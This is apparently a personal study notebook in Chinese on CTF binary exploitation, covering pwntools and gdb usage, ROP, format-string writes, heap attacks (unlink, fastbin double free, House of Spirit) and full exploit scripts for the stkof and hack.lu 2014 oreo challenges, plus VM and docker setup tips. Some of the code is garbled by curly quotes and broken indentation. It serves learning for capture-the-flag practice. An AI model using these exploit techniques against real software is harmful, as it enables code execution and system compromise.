ida调试快捷键

一字节等于8位或者说8比特

2字节==16位

1字长32位PC的字长是32bit,现在开始成为主流的64位CPU字长是64bit,手机上使用较多的ARM处理器大多数是32位

传参

64位: 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

32位: 用栈传参

常用寄存器

和8086稍有区别,具体如下

常用指令

调试

context.log_level='debug'
gdb.attach(io)
io.send(p)

gdb.attach(p,'b *0x8048600')利用gdb动调,在0x8048600处下了个断点

ROPgadget

ROPgadget --binary ret2syscall --only "pop|ret"

LibcSearcher

libc = LibcSearcher("gets",gets_real_addr)

libcbase = gets_real_addr – obj.dump("fgets")
system_addr = libcbase + obj.dump("system")            #system 偏移
bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

关闭所以防护编译

gcc tar.c -z execstack -fno-stack-protector -no-pie -z norelro -o tar

-fPIC

生成shellcode

shellcode = asm(shellcraft.sh())

linux自带工具(搜索函数):

cd xxx
strings xxx

输出xxx文件中所有可打印字符
strings -t x libc-2.19.so | grep /bin/sh

strings xxx | grep /bin/sh

若有则打印bin/sh字符
查看内存

vmmap 


查看xxx使用的libc路径及其版本

ldd xxx

查看栈中内容

stack 300

查看寄存器

p /x $rbp

更改换行符

dos2unix myexp.py

查看栈值

x /40gx $rsp


40代表是显示数目


g代表是8bit显示,x以16进制显示


第一个x代表查看内存

libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]

int : 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符,(是)

cyclic(60)

生产60字节的垃圾数据

shellcode = asm(shellcraft.sh())

生成shellcode

格式化字符串的任意地址值的修改

payload = fmtstr_payload(12,{0x804a048:0x02223322})
fmtstr_payload(offset,{addr:number})

ubuntu ios 镜像文件下载

http://mirrors.aliyun.com/ubuntu-releases/

安装VMware tools

安装失败

进入vmware-tools-distrib/bin, 执行sudo ./vmware-uninstall-tools.pl, (网上有些资料说还需要rm -rf /usr/lib/VMware, 不过我在/usr/lib下已经找不到相关文件了)

回到vmware-tools-distrib, 重新执行sudo ./vmware-install.pl , 一路回车

reboot, 解决!!

无法拖拽

执行

apt-get install open-vm-tools-desktop fuse

以安装open-vm-tools

DynELF模块的使用

def leak(address):
    payload='A'*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
    #junk是溢出需要的字节,利用pwndbg中的cyclic可以计算出
    #write(1,address,4)表示将address向外写
    r.send(payload)
    data = r.recv(4)
    print(data)
    return data

dyn=DynELF(leak,elf=ELF('./pwn200'))#调用DynELF

sys_addr = dyn.lookup('system',libc)
print('system address:',hex(sys_addr))

ret2syscall

系统调用(x86)
mov eax , 0xb #系统调用号
mov ebx , [“/bin/sh”]
mov ecx , 0 #参数
mov edx , 0
int 0x80 #中断号

=> execve(“/bin/sh”,NULL,NULL)

ROPgadget –binary ret2syscall –only “pop|ret”

ret 就是pop eip ; esp-2 #b站大学 p3 150 左右

小端序 与 大端序

小端序 :

重要寄存器功能:

RIP
*存放当前指令的地址

RSP
*存放当前栈帧的栈顶地址

RBP
*存放当前栈帧的栈底地址

RAX
*同用寄,存放函数存器返回值

#报错

##UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not

UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not in range(128)

原因是:python的str默认是ascii编码,和unicode编码冲突,就会报这个标题错误

解决的办法是,在开头添加如下代码:

import sys
reload(sys)
sys.setdefaultencoding('utf8')

Ret2libc

system_elf = elf.plt[“system”]

linux自带工具(搜索函数):

cd xxx
strings xxx

输出xxx文件中所有可打印字符

string xxx | grep /bin/sh

若有则打印bin/sh字符

如下图,连续调用函数时栈 的结构

system 执行时找到上两个字作为参数(bin/sh)
然后pop bin/sh , return

在执行puts函数,上两字寻找参数“hello world”
然后pop_ret

最后执行exit 函数,同上

libc.symbols[“system”] - libc.symblos[“puts”]

sendlineafter(b”:”,str(elf.got[“puts”]))

sh.recv(numb = 2048, timeout = dufault) 接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True) 接受一行数据,keepends为是否保留行尾的\n

接收到:后,将puts函数的got表地址以字符串形式发送

recvuntil(b”:”)

接收直到:

libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]

int : 将收到的 16 进制字符串转换成整数
dorp = true 是否丢弃掉\n字符,(是)

cyclic(60)

生产60字节的垃圾数据

shellcode = asm(shellcraft.sh())

生成shellcode

e = ELF(‘/bin/cat’)
print hex(e.address) # 文件装载的基地址
0x400000

print hex(e.symbols[‘write’]) # 函数地址
0x401680

print hex(e.got[‘write’]) # GOT表的地址
0x60b070

print hex(e.plt[‘write’]) # PLT的地址
0x401680

print hex(e.search(‘/bin/sh’).next())# 字符串/bin/sh的地址

gdb.attach(sh) ———-v

sh.send(p) ——–>启动gdb调试

vmmap

查看内存

ldd xxx

查看xxx使用的libc路径及其版本

stack 300

查看栈中内容

docker

换源

https://developer.aliyun.com/mirror/?spm=a2c6h.13651104.0.d1002.7711506fiiugWK

sudo apt update
sudo apt upgrade

在etc/docker下修改docker镜像源,如果没有 daemon.json就新建添加以下内容:

{

  "registry-mirrors": ["http://hub-mirror.c.163.com"]

}

# 也可以添加多个国内源
{

"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]

}

pip install docker-compose
docker-compose up -d
docker-compose build

查看

docker images -a
docker ps -a

docker images -q redis会输出所有仓库名为redis的镜像id,所以如果想要删除所有仓库名为redis的镜像,可以这么写:

docker rmi $(docker images –q redis)

如果想要删除所有镜像,可以这么写:

docker rmi $(docker images –qa)

pwn_deploy_chroot-master
https://github.com/giantbranch/pwn_deploy_chroot

如何使用
1. Put your pwn program to ./bin (Note that the filename should not contain special characters.)
2. python initialize.py
3. docker-compose up --build -d     # please run as root
您可以编辑 config.py 以决定是否将 /bin/sh 替换为 catflag

# Whether to replace /bin/sh

## replace
REPLACE_BINSH = True
## not replace(default)
REPLACE_BINSH = False

格式化字符串漏洞

%100$p

$p

打印栈中保存的内容

%s

将栈中数据解析为地址,打印地址所对应的数据

%n

写入前方打印成功的字符的个数

堆栈图入下

ubuntu根目录下空间不足,syslog占用很大空间

查看当前系统内存情况

df -h

查看当前目录下所有木有资源占用情况

du -sh *

syslog占用很大空间,可以清空

cat /dev/null > /var/log/syslog

当申请的堆较小时,直接在data段申请一段空间。

当申请的堆较大时,则在mmap段申请一段空间

清除缓冲区

setbuf(stdout,0)

chunk

是内存分配的基本单位

只会分配字长整数倍的chunk(会自动补齐)

int* p = malloc(0x100) 实际消耗0x110,因为需要两个控制字段。

malloc chunk

size的后3 Bity存储控制信息

|A|M|P|

prev size 用于存储上一个free chunk大小

size 用于存储自身控制字段和数据字段大小

p = 0 表示为free chunk

p = 1 表示非free chunk

特殊的是 , fast chunk的p总是为1 , 并且不会合并。

free chunk 的合并

当下一个chunk发现上一个chunk也是free_chunk时,两个chunk将被合并,size变为两个chunk的总和

但是数据仍在原地,结构如图

当堆较小时,堆就在data和bss段的高地址

逻辑链表

fasebins 按照堆的大小分配bin

而每个链表由指针链接形成链表

由fd指针指向下一个chunk

###bin双向链表

bin也是栈的结构

由fd指针指向下一个chunk

由bk指针指向上一个chunk

每个chunk相互链接形成双向链表


double_free 漏洞

int* p = malloc(0x300) ;
int* q = malloc(0x200) ;

free(q);
free(p);
free(q);

可利用函数

##fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress}

第三个参数表示已经输出的字符个数,若没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

fmtstr_payload函数返回的就是payload

##mprotect

mprotect(void *addr, size_t len, int prot)

利用vmmap命令在gdb中找到可以修改的段

int mprotect(void *addr, size_t len, int prot);

addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:

1)PROT_READ:内存段可读;

2)PROT_WRITE:内存段可写;

3)PROT_EXEC:内存段可执行;

4)PROT_NONE:内存段不可访问。

返回值:0;成功,-1;失败(并且errno被设置)

1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。

2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。

3)ENOMEM:内核内部的结构体无法分配。

利用Unlink机制,向unsortedbin中写入chunk,从而达到攻击效果。这里以ctf-wiki 的例题作为理解。


context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline(‘2’)
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil(‘OK\n’)


def free(idx):
p.sendline(‘3’)
p.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who’s size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk’s prev_size bypass the check
payload = payload.ljust(0x30, ‘a’)

# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)

# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)

# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')

# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
    stkof.got['atoi'])
edit(2, len(payload), payload)

# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))

# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()


if name == “main“:
exp()


首先构造堆如图所示

那么在unsortedbin中则会出现0x6002270-0x18 的chunk,我们通过修改一些chunk为函数来实现其调用。

payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2, len(payload), payload)

例如上一句,向bin中写入了各个函数地址作为chunk地址。

payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)

接着,覆盖free的地址为puts,实现泄露。

如法炮制,实现system函数的调用。

也可以将free改为system,在chunk[3]中写入”bin/sh\0x00”,最后free(3)也可以实现getshell

fastbin_attack

fastbin_attach 其基础攻击手段如下:

double_free

1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

我们可以构造如下的结构来实现任意地址写的功能

House of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

但是想要成功链接fack_chunk需要如下条件

fack_chunk 的ISMMAP位不能为1,因为free时mmap的chunk,会单独处理

fack_chunk 的地址需要对齐,MALLOC_ALIGN_MASK

fack_chunk 的size大小需要满足相应fastbin,同时也应对齐

fack_chunk 的next_chunk大小不可越界。即不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

Alloc to Stack && Arbitrary Alloc

分别是将堆分配到栈,或者是任意地址

alloc to stack 可以覆盖栈的返回地址来劫持执行流

arbirtary alloc 可以使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。(这个我暂时也不懂)

下面就用一道题来实际演示下

2014 hack.lu oreo 题目链接

1.利用堆溢出漏洞,泄露free_got 的地址(那么哪里才能买到呢?)

我们先free掉任意一个chunk,因为libc的延迟绑定机制,现在我们将free_got写入next_chunk中,然后 show 来泄露got表地址

2.因为 ++rifle_cnt 语句 会记录创建的chunk的个数,因此可以为攻击准备环境。

再向message写入payload,准备如下条件来绕过检测

payload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100) 
          #padding + last_chunk + pre_size + size

现在我们实现了任意地址写入的功能

3.get_shell

我们修改某函数的got表指针为libc.symbols[‘system’]函数的地址,利用fget函数写入,并执行该函数,就可以get_shell。

exp如下
#! /usr/bin/python3
from pwn import *
io = process(‘./oreo’)
elf=ELF(‘./oreo’)
context.log_level=’debug’
libc = ELF(‘libc.so.6’)

def add (name,des):
    io.sendline('1')
    #io.recvuntil('Rifle name: ')
    io.sendline(name)
    #io.recvuntil('Rifle description: ')
    io.sendline(des)

def show ():
    io.sendline('2')

def order ():
    io.sendline('3')

def message (notice):
    io.sendline('4')
    #io.recvuntil('order: ')
    io.sendline(notice)


#1 — leak the libcbase
add(b’a’,b’b’)
order()
free_got = elf.got[‘free’]
add(b’a’*27+p32(free_got) , b’b’*25)
show()
io.recvuntil(‘Description: ‘)
io.recvuntil(‘Description: ‘)
free_addr = u32(io.recv(4).ljust(4,b’\x00’))
print (“free_addr=” , hex(free_addr))
libc_base = free_addr - libc.sym[‘free’]
system_addr = libc_base + libc.sym[‘system’]
print (“system_addr”, hex(system_addr))

#2 --- malloc to bss

for i in range(0x40-2-1):
    add(b'a'*27+p32(0),str(i))

message_addr = 0x0804A2A8
add(b'a'*26+b'A'+p32(message_addr) , b'b') #write from A8 , message from cc
payload = b'a'*0x1c + b'\x00'*4 + b'A'*4 + p32(100) 
          #padding + last_chunk + pre_size + size
message(payload)    #from c0

order()
io.recvuntil('Okay order submitted!')

#get_shell

payload = p32(elf.got['strlen'])
#gdb.attach(cn)
add('b',payload)   # 0x40: 0x804a2a0 —▸ 0x863c390 ◂— 0x0
gdb.attach(cn)
message(p32(system_addr)+ b';/bin/sh\x00')  #0x804a2a0



gdb.attach(io)
io.interactive()

mips

安装命令

apt-get install emdebian-archive-keyring

apt install gcc-mips-linux-gnu

使用apt安装时报错

E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

解决方案:
方案一:

sudo killall apt apt-get

如果提示没有apt进程:

apt: no process found
apt-get: no process found

往下看方案二
方案二:
依次执行:

sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock*
sudo dpkg –configure -a
sudo apt update

完成!

编译命令

mips-linux-gnu-gcc [xxx.c] -static -o [xxxx]

写入字符引发溢出

python -c “print ‘A’*200” > passwd